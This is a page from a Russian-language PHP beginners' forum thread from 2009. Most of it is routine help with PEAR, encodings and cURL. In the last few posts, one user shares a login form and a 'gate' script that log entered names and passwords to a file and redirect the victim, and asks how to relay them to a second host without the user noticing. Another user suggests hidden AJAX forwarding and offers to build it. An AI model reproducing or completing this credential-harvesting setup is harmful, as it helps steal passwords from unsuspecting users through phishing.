[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    Пир поставь...
     
    #11181 dinar_007, 10 Aug 2009
    Last edited: 10 Aug 2009
  2. Balvan

    Balvan Member

    Joined:
    11 Mar 2009
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    dinar_007 куда? как?
     
  3. omfg

    omfg Member

    Joined:
    3 Aug 2009
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    у тебя винда?
    1)cmd.exe (Командная строка)
    Набиваешь: сменить папку в которой у тебя лежит PHP и PHP.exe

    У меня PHP лежит на C:\PHP
    cd C:\PHP

    2) Запускаешь go-pear.bat

    3) PEAR предложит несколько вопросов, ответить на них

    4) pear.bat install mdb2

    Эта команда будет работать в том случае если есть подключение к интернету.
    Она скачивает и устанавливает файл(ы)
     
  4. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    балван: pear.php.net
     
    1 person likes this.
  5. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    как сделать так чтобы вывод текста в PHP CLI автоматически производился в кодировке dos-866 ?
     
  6. max_rebel

    max_rebel Elder - Старейшина

    Joined:
    18 Oct 2007
    Messages:
    460
    Likes Received:
    31
    Reputations:
    0
    Подскажите как работает link()? запутался =(

    В идеале надо бы так: жму на ссылку "Посмотреть на карте" и в новом окне открывается уже карта гугл с отмеченным местом на карте.

    Что нужно писать в параметры link()?
     
  7. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    Буферизацию включи, и на калбак функцию конвертирования повесь, чтобы через iconv в нужную кодировку переводилось на лету...
     
    1 person likes this.
  8. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    Учись правильно выражать свои мысли плиз... Из твоего словесного описания того, о чем ты думаешь только одно пришло в голову.........
    http://www.google.com/search?q=%D0%BA%D0%B0%D0%BA+%D0%BF%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+google+maps+%D1%81%D0%B5%D0%B1%D0%B5+%D0%BD%D0%B0+%D1%81%D0%B0%D0%B9%D1%82&sourceid=opera&num=0&ie=utf-8&oe=utf-8
     
    #11188 dinar_007, 11 Aug 2009
    Last edited: 11 Aug 2009
  9. Sizam4ik

    Sizam4ik New Member

    Joined:
    6 Aug 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    1. Как добавить нумерацию всех строк?
    2. Как убрать первое значение каждой строки до разделителя "|" ?

    PHP:
    <?php 

    $file 
    file 'file.txt' ); 

    echo 

    <table>
    <tr>
    <td>1</td><td>2</td><td>3</td><td>4</td>
    </tr>
    "



    foreach ( 
    $file as $string 

       
      
    $string trim $string ); 
      
    $string_array explode "|"$string ); 
       
      echo 

      <tr> 
      "



      foreach ( 
    $string_array as $column 
      { 
         
        
    $column trim $column ); 
        if ( 
    $column == '' 
        { 
          
    $column '&nbsp;'
        } 

        echo 

        <td> 
          
    $column
        </td> 
        "

         
      } 
       
      echo 

      </tr> 
      "




    echo 

    </table> 
    "


    ?>


     
    #11189 Sizam4ik, 11 Aug 2009
    Last edited: 11 Aug 2009
  10. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    PHP:
    $i=0;
     foreach ( 
    $string_array as $column 
      {  
    echo 
    $i++.$column[1];
    }
     
  11. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Вопрос: Возможно ли упростить этот ккод? использование курла обязательно.

    PHP:

    <?php

    function go($url,$req '') {

    $url $url;

    $ch curl_init();

    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_COOKIEFILE,"./cook");
    curl_setopt($ch,CURLOPT_COOKIEJAR,"./cook");
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);

    $res curl_exec($ch);

    echo 
    $res;

    curl_close($ch);

    }

    ?>

    Скрипт - functions.php

    В основном скрипте так:

    PHP:
    <?php

    include "functions.php";

    go("www.wiw.ru");

    ?>
     
  12. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Ещё проблемка:

    Перешёл на урл http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR курлом,но он выдал какую-то белеберду.Посылал хеадером заголовок Content-Type в разных кодировках.Никакого результата.КТо может помочь,кроме гугла ? У гугла просил,но он слишком пьян,чтобы со мной говорить.Проверил сниффером,выдаётся заголовок Content-Type: text/html; charset=utf-8,а браузер выдаёт норм...странно.

    Кодировка,кстати,не меняется...
     
    #11192 Велемир, 11 Aug 2009
    Last edited: 11 Aug 2009
  13. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    жжош нипадецки
    PHP:
    <?php
    $url 
    'http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR';
    $ch =  curl_init($url);
    curl_setopt($chCURLOPT_RETURNTRANSFER0);
    curl_exec($ch);
    ?>
     
  14. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    PHP:
    function go($url) {
    $ch curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
    echo 
    curl_exec($ch);
    curl_close($ch);
     
    1 person likes this.
  15. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Странно...сегодня работает кодировка.Вчера вообще ни хрена не пахало.Извиняюсь за пост.
     
  16. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://roboxchange.com/Client/OpCalcEx.p?IncCurrLabel=PCR&OutCurrLabel=WMR

    Кто-нибудь пробовал данные передавать ? Простой гет запрос не канает.Пробовал данные постом передать.Передал все переменные и значения с формы(__VIEWSTATE='значение'),но,по идее,должно после указания валюты считать,сколько будет на выходе после конверта.Там какие-то скрытые поля юзятся,что просто перейти,используя переменные,указанные в select,не получится... МожетЮкто подскажет,почему не выходит ? Да,я ещё передал в пост запросе <select> переменные.Может,из-за этого ? Хорошо было бы увидеть рабочий вариант.

    ЗЫ: Дальше идёт такая же фигня - везде скрытые поля.В именах переменных стоит символ $.
     
    #11196 Велемир, 11 Aug 2009
    Last edited: 11 Aug 2009
    1 person likes this.
  17. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    есть ли способы отправить данные например $_POST['test']; по такой схеме: из формы на первый гейт на этом же хосте, после чего с этого гейта на другой уже на другом хосте ? сокеты тут непогут т.к. фри хосты их недержат почти всегда, надо как то подругому.
    UPD:коечто надумал: проинклудить в 1 обработчик 2 гейт с другого сайта но он непринимает данные, я наверн чето неправильно зделал(
    Вот пример того что у мя есть:
    index.php
    Code:
    <form name="key" action="index.php" method="post">
    <table border="0"><tr>
    <td>name:</td>
    <td><input type="text" name="name" size="15"></td></tr><tr>
    <td>password:</td>
    <td><input type="text" name="password" size="15"></td></tr></table>
    <input type="submit" name="submit" value="Enter">
    <?php
    
    $name = $_POST['name'];
    $pass = $_POST['password'];
    
    if ($_POST[submit] == "Enter") 
    {
    include("http://127.0.0.1/gate2.php");
    }
    
    ?>
    
    gate2.php
    Code:
    <?php 
    
    $fp = fopen("log.txt","a+");
    fwrite($fp,"$name:$pass\n"); 
    fclose($fp); 
    
    header("Location: http://google.ru");
    
    ?>
    
    хмм до этого тестил у ся на локальной тачке оно инклюдило, шас попробывал с веба .... полети ошибки :eek:
     
    #11197 warlok, 11 Aug 2009
    Last edited: 11 Aug 2009
    1 person likes this.
  18. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Заинклудить на хостинге фаил с другово сайта неполучится..(может не прав,но у меня никогда не получалось.)

    Что мешает с формы сразу передать на первый гейт?

    PHP:
    <form name="key" action="geit1.php" method="post">
    А в этом гейте поймать то что тебе нужно и уже например жабаскриптом собрать пост запрос и кинуть на гейт 2 ?

    Может не так понял вопрос..
     
    #11198 -=Zhenek=-, 11 Aug 2009
    Last edited: 11 Aug 2009
  19. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    мне надо чтобы гейт2 непалился юзером а так получаеться что он его увидет, так?
     
  20. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    нет. если все сделать красиво,то с формы его отправит на гейт1 там джаваскрипт (аякс) соберет пост запрос и невидимо для клиента отпавит на гейт 2 (он даже адрес не узнает если в джаваскрипе передать данные скрипту) могу сделать готовое и показать. доработаешь сам как нужно.
     
    2 people like this.
Thread Status:
Not open for further replies.